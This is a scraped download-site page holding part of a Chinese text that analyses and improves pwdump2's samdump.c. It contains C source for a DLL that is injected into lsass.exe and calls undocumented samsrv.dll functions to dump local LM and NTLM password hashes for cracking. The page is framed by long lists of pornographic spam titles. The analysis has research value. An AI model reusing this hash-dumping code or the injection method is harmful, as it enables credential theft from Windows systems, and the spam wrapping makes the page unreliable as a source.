亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專(zhuān)輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? pwdump2samdump.c淺析與改進(jìn).txt

?? samdump.c調(diào)用LsaQueryInformationPolicy()獲取主機(jī)SID
?? TXT
?? 第 1 頁(yè) / 共 3 頁(yè)
字號(hào):
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateDomainsInSamServer     = ( SAMRENUMERATEDOMAINSINSAMSERVER   )GetProcAddress
    (
        samsrv,
        "SamrEnumerateDomainsInSamServer"
    );
    if ( !SamrEnumerateDomainsInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrLookupDomainInSamServer         = ( SAMRLOOKUPDOMAININSAMSERVER       )GetProcAddress
    (
        samsrv,
        "SamrLookupDomainInSamServer"
    );
    if ( !SamrLookupDomainInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    ret                                 = TRUE;

LocateSamsrvEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    /*
     * 后面還要用這些函數(shù)指針,這里不得釋放samsrv.dll
     */
    return( ret );
}  /* end of LocateSamsrvEntry */

static void PrintHash ( unsigned char *hash )
{
    unsigned int    i;
    char            buf[33];
    char           *p = buf;

    for ( i = 0; i < 16; i++ )
    {
        sprintf( p, "%02X", hash[i] );
        p += 2;
    }
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s",
        buf
    );
    return;
}  /* end of PrintHash */

static void PrintUnicodeString ( PUNICODE_STRING us )
{
    int             i       = 0;
    unsigned int    len     = 0;
    unsigned char  *ansibuf = NULL,
                   *ansistr = NULL;

    if ( NULL == us )
    {
        goto PrintUnicodeString_exit;
    }
    /*
     * 將Unicode串轉(zhuǎn)換成DBCS串再顯示,否則中文串顯示有問(wèn)題
     */
    len     = us->Length + 1;
    ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
    if ( NULL == ansibuf )
    {
        ansistr = "No memory for ansibuf";
    }
    else
    {
        i = WideCharToMultiByte
            (
                CP_ACP,
                0,
                us->Buffer,
                ( int )( us->Length / 2 ),
                ansibuf,
                len,
                NULL,
                NULL
            );
        if ( 0 == i )
        {
            ansistr = "WideCharToMultiByte() failed";
        }
        else
        {
            ansistr = ansibuf;
        }
    }
    PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );

PrintUnicodeString_exit:

    if ( NULL != ansibuf )
    {
        HeapFree( GetProcessHeap(), 0, ansibuf );
        ansibuf = NULL;
    }
    return;
}  /* end of PrintUnicodeString */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dwMessageId,
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        RtlNtStatusToDosError( status ),
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintZwErrorCUI */

static int PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
)
{
    va_list     arg;
    int         num;
    DWORD       NumberOfBytes;

    if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
    {
        return( -1 );
    }
    /*
     * 將來(lái)運(yùn)行在lsass.exe進(jìn)程上下文中,必須動(dòng)用SEH機(jī)制加以保護(hù),否則一旦
     * 出現(xiàn)內(nèi)存訪(fǎng)問(wèn)違例,將導(dǎo)致整個(gè)操作系統(tǒng)崩潰!
     */
    __try
    {
        va_start( arg, format );
        num = _vsnprintf
              (
                  buf,
                  count - 1,
                  format,
                  arg
              );
        if ( num >= 0 )
        {
            WriteFile
            (
                handle,
                buf,
                num,
                &NumberOfBytes,
                NULL
            );
        }
        va_end( arg );
    }
    __except
    (
        EXCEPTION_EXECUTE_HANDLER
    )
    {
        num = -1;
    }
    return( num );
}  /* end of PrivatePrintf */

DWORD __cdecl getlmhashdll_main ( char *pipename )
{
    DWORD   ret = EXIT_FAILURE;

    outbuflen   = 1024;
    outbuf      = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
    if ( NULL == outbuf )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
    {
        goto getlmhashdll_main_exit;
    }
    outfile     = CreateFile
                  (
                      pipename,
                      GENERIC_READ | GENERIC_WRITE,
                      0,
                      NULL,
                      OPEN_EXISTING,
                      0,
                      NULL
                  );
    if ( INVALID_HANDLE_VALUE == outfile )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateNtdllEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateSamsrvEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    /*
     * 利用samsrv.dll引出的Undocumented Win32 API獲取本機(jī)帳號(hào)的LM Hash、
     * NTLM Hash
     */
    getlmhash();
    ret         = EXIT_SUCCESS;

getlmhashdll_main_exit:

    if ( NULL != samsrv )
    {
        FreeLibrary( samsrv );
        samsrv  = NULL;
    }
    if ( INVALID_HANDLE_VALUE != outfile )
    {
        CloseHandle( outfile );
        outfile = INVALID_HANDLE_VALUE;
    }
    if ( NULL != outbuf )
    {
        HeapFree( GetProcessHeap(), 0, outbuf );
        outbuf  = NULL;
    }
    outbuflen   = 0;
    return( ret );
}  /* end of getlmhashdll_main */

BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
    DisableThreadLibraryCalls( hinstDll );
    return( TRUE );
}  /* end of DllMain */

/************************************************************************/

--------------------------------------------------------------------------

1) pwdump2在做什么。

假設(shè)當(dāng)前用戶(hù)是Administrator或等效用戶(hù),pwdump2利用遠(yuǎn)程線(xiàn)程注入向lsass.exe
進(jìn)程空間注入一段代碼,加載了samdump.c生成的動(dòng)態(tài)鏈接庫(kù),然后GetProcAddress
獲取samdump.dll的一個(gè)引出函數(shù)并調(diào)用之。該引出函數(shù)獲取當(dāng)前系統(tǒng)中可枚舉帳號(hào)
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具進(jìn)行暴力破解。
關(guān)于LM Hash脆弱性,參看<<SMB系列(5)--LM/NTLM驗(yàn)證機(jī)制>>。

http://www.opencjk.org/~scz/200210141957.txt

第一次用加載DLL的辦法完成遠(yuǎn)程線(xiàn)程實(shí)質(zhì)性工作,以前是按照C語(yǔ)言式shellcode的
套路。加載DLL的辦法要省不少細(xì)節(jié)上的糾纏,也趁此多做一點(diǎn)技術(shù)積累。

2) 為什么pwdump2這樣做就可以獲取LM Hash、NTLM Hash。

這個(gè)問(wèn)題,嚴(yán)格意義上的講解太復(fù)雜,又得扯一堆概念進(jìn)來(lái),參看[2]。簡(jiǎn)單地講,
在lsass.exe進(jìn)程上下文中調(diào)用samsrv.dll的未文檔化引出函數(shù),這些函數(shù)會(huì)返回期
望中的LM Hash、NTLM Hash。

開(kāi)始我低估了SAM安全限制。以為以SYSTEM權(quán)限訪(fǎng)問(wèn)SAM即可獲取LM Hash,居然失敗。
最后確認(rèn)非要從lsass.exe進(jìn)程上下文中訪(fǎng)問(wèn)SAM,否則得到如下錯(cuò)誤信息:

SamIConnect() failed: 安全帳戶(hù)管理器(SAM)或本地安全頒發(fā)機(jī)構(gòu)(LSA)服務(wù)器處于運(yùn)行安全操作的錯(cuò)誤狀態(tài)。

3) 既然這種技術(shù)是未文檔化的,那幫人又是如何得到這種技術(shù)的,他們Hacking的過(guò)
   程、思想的發(fā)展可能是怎樣的。

最開(kāi)始我在寫(xiě)掃描器遠(yuǎn)程漏洞掃描插件,用NetUserGetInfo()查詢(xún)遠(yuǎn)程用戶(hù)信息,在
Ethereal解碼過(guò)程中意識(shí)到與pwdump2的聯(lián)系。接下來(lái)有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那個(gè)抽
象流程。再與samdump.c一對(duì)照,思路很清晰。雖然我不清楚bindview的人是怎么接
近此處的,但按我這個(gè)搞法,也可接近此處,就不無(wú)謂糾纏了。

4) 在此基礎(chǔ)上我們還能繼續(xù)Hacking出其它有用的東西嗎。

目前我沒(méi)有更多時(shí)間Hacking這個(gè)方向,但至少成功還原了一批函數(shù)原型、數(shù)據(jù)結(jié)構(gòu)。
有些東西可能目前階段沒(méi)有直接用途,但日后肯定會(huì)用到的。

枚舉值SamUserOWFPasswordInformation(0x12)只能用于本機(jī)操作,如在網(wǎng)絡(luò)操作中
指定0x12級(jí)查詢(xún),會(huì)報(bào)告無(wú)效級(jí)別,顯然這出于安全考慮。我在一個(gè)底層SMB測(cè)試程
序中手工構(gòu)造SamrQueryInformationUser(36)報(bào)文,試圖指定level 0x12,查詢(xún)失敗。

5) 下次讓你獨(dú)立確定一個(gè)課題并研究之,你會(huì)在上述研究中受到什么樣的啟發(fā),比
   如選題方向、研究方法、工具使用等等。

由此想到一種研究Windows未文檔化函數(shù)的方法。很多SMB網(wǎng)絡(luò)函數(shù)第一形參指定目標(biāo)
系統(tǒng),當(dāng)該形參為NULL時(shí)目標(biāo)系統(tǒng)即本機(jī)。如果用Ethereal抓取了網(wǎng)絡(luò)通信報(bào)文,根
據(jù)DCE RPC的marshalling/unmarshalling知識(shí),有可能還原最初的數(shù)據(jù)結(jié)構(gòu),而這種
數(shù)據(jù)結(jié)構(gòu)同時(shí)適用于本機(jī)、遠(yuǎn)程操作。再結(jié)合適當(dāng)?shù)哪嫦蚬こ蹋M(jìn)展會(huì)更大。當(dāng)然,
有個(gè)重要前提,就是Ethereal已經(jīng)進(jìn)行了正確的Network Hacking,否則會(huì)導(dǎo)致錯(cuò)誤
結(jié)論。你還必須能夠在Ethereal所解析出的遠(yuǎn)程過(guò)程、Windows RPC Server以及MSDN
中的Win32 API這三者之間找到必然聯(lián)系。

有個(gè)較深的感受,有些東西之間看似沒(méi)有聯(lián)系,實(shí)際卻殊途同歸。很早以前就想看看
pwdump2的實(shí)現(xiàn)機(jī)理,一直覺(jué)得它是橫空出世的,沒(méi)有來(lái)歷,很茫然。搞不清為什么
要GetProcAddress獲取那些引出函數(shù)地址。沒(méi)想到在網(wǎng)絡(luò)通信解碼過(guò)程中豁然開(kāi)朗。
看樣子以后正門(mén)搞不定了,就扔到一邊,說(shuō)不定哪天發(fā)現(xiàn)到處是側(cè)門(mén)。

☆ 參考資源

[ 2] Windows NT Security, Part 1
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143

     Windows NT Security, Part 2
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩欧美国产精品| 欧美激情综合网| 国产婷婷色一区二区三区四区| 中文字幕中文字幕一区二区| 香蕉av福利精品导航| 国产成人在线免费观看| 欧美日韩国产bt| 亚洲色图欧洲色图| 国产成人自拍高清视频在线免费播放| 欧美另类videos死尸| 亚洲婷婷国产精品电影人久久| 狠狠色丁香久久婷婷综| 欧美猛男男办公室激情| 亚洲欧美日韩电影| caoporm超碰国产精品| 精品国产99国产精品| 亚洲一区免费在线观看| eeuss鲁一区二区三区| 久久久综合精品| 久久精品久久久精品美女| 欧美精品三级日韩久久| 亚洲国产wwwccc36天堂| 欧美影院精品一区| 亚洲免费大片在线观看| 99久久国产综合精品女不卡| 国产精品久久久久久久久免费桃花| 国产一区欧美一区| 337p日本欧洲亚洲大胆精品 | 懂色中文一区二区在线播放| 日韩精品一区二区三区视频在线观看| 亚洲国产精品久久人人爱蜜臀| 色狠狠一区二区| 亚洲一本大道在线| 欧美日韩一区三区四区| 亚洲va在线va天堂| 7777精品伊人久久久大香线蕉完整版 | 欧美一区二区三区在线| 日韩和欧美的一区| 日韩免费成人网| 国模大尺度一区二区三区| 久久久久久免费| 成人久久久精品乱码一区二区三区| 国产精品女上位| 91免费版在线看| 一级精品视频在线观看宜春院| 精品1区2区3区| 老司机精品视频一区二区三区| 久久久久高清精品| 99国产精品一区| 五月婷婷激情综合网| 欧美一区二区黄色| 经典三级在线一区| 国产精品麻豆视频| 欧美日韩国产精品自在自线| 久国产精品韩国三级视频| 2017欧美狠狠色| 色综合久久综合中文综合网| 天天av天天翘天天综合网色鬼国产| 亚洲精品一区二区三区99| 成人开心网精品视频| 亚洲无线码一区二区三区| 日韩美女主播在线视频一区二区三区| 国产福利视频一区二区三区| 亚洲精品高清视频在线观看| 欧美一级艳片视频免费观看| 成人av免费在线播放| 亚洲午夜久久久久久久久电影网 | 精品视频资源站| 国产一区二区三区电影在线观看| 亚洲欧洲成人自拍| 欧美一区二区三区在线看| 成人h动漫精品一区二区| 天天操天天色综合| 中文无字幕一区二区三区| 欧美在线999| 成人avav影音| 激情综合一区二区三区| 亚洲自拍偷拍九九九| 国产日韩欧美亚洲| 欧美高清视频不卡网| av在线综合网| 精品无人码麻豆乱码1区2区| 亚洲bt欧美bt精品777| 亚洲欧洲国产日韩| 国产亚洲欧美日韩日本| 日韩欧美一区在线观看| 欧洲人成人精品| 99riav一区二区三区| 国产一区二区久久| 热久久久久久久| 亚洲午夜精品网| 亚洲精品免费电影| 中文字幕制服丝袜一区二区三区| 精品久久一区二区三区| 777亚洲妇女| 欧美日韩激情一区| 在线视频观看一区| 91在线精品一区二区三区| 国产91精品精华液一区二区三区 | 久久久久久99精品| 日韩欧美一区二区在线视频| 欧美亚洲一区二区三区四区| 99re视频这里只有精品| 成人福利在线看| 成人精品电影在线观看| 成人一区在线看| 粉嫩久久99精品久久久久久夜| 国产一区二区伦理片| 狠狠色丁香久久婷婷综| 国产一区二区三区av电影| 国产一区日韩二区欧美三区| 国产黑丝在线一区二区三区| 国产精品99久久久久久似苏梦涵| 国精产品一区一区三区mba桃花| 免费视频最近日韩| 久久99久久精品| 国产一区二区三区不卡在线观看| 国产自产视频一区二区三区| 国产精品2024| 972aa.com艺术欧美| 成人av电影在线观看| 91片黄在线观看| 欧美日韩一区二区三区四区五区 | 国产性做久久久久久| 国产欧美精品区一区二区三区| 国产亚洲婷婷免费| 日韩伦理电影网| 五月天中文字幕一区二区| 久久精品国产一区二区三| 国产精品一区二区在线看| 成人h精品动漫一区二区三区| 色综合中文综合网| 91精品国产一区二区三区| 欧美变态口味重另类| 国产亚洲欧美日韩在线一区| 中文字幕一区二区不卡| 亚洲高清在线精品| 国产综合成人久久大片91| 99re66热这里只有精品3直播 | 欧美在线视频你懂得| 91精品婷婷国产综合久久竹菊| 精品久久一区二区| 1000部国产精品成人观看| 偷拍一区二区三区| 国产一区91精品张津瑜| 一本大道av一区二区在线播放| 欧美日韩国产综合草草| 久久久久久久久久电影| 亚洲一区二区视频在线| 国产一区二区三区久久悠悠色av| 91色综合久久久久婷婷| 日韩免费视频一区二区| 自拍偷拍亚洲欧美日韩| 人人精品人人爱| 一本一道波多野结衣一区二区| 欧美一区二区三区影视| 中文字幕亚洲电影| 精品一区二区三区欧美| 色婷婷久久综合| 国产丝袜美腿一区二区三区| 亚洲午夜av在线| 99精品黄色片免费大全| 亚洲精品一区二区三区99| 亚洲国产成人av网| av网站一区二区三区| 精品久久久影院| 亚洲国产日韩一区二区| 成人av免费观看| 久久麻豆一区二区| 日本不卡视频在线观看| 在线看不卡av| 日韩一区有码在线| 国产呦萝稀缺另类资源| 欧美大片在线观看一区二区| 亚洲国产日日夜夜| 色狠狠一区二区| 18成人在线观看| 国产99久久久久久免费看农村| 日韩一区二区三区电影在线观看 | 午夜欧美电影在线观看| 波多野结衣中文字幕一区二区三区 | 欧美日韩国产高清一区| 亚洲欧美激情小说另类| www.视频一区| 久久精品视频在线看| 奇米在线7777在线精品| 欧美日韩国产综合一区二区 | 国产毛片精品国产一区二区三区| 欧美日韩午夜精品| 亚洲综合视频网| 色综合久久久久综合| 日韩毛片精品高清免费| 99久久国产免费看| 综合中文字幕亚洲| 99免费精品在线观看| 亚洲欧洲色图综合| 色婷婷精品久久二区二区蜜臀av| 国产精品国产三级国产aⅴ原创 | 成人白浆超碰人人人人| 国产精品毛片久久久久久|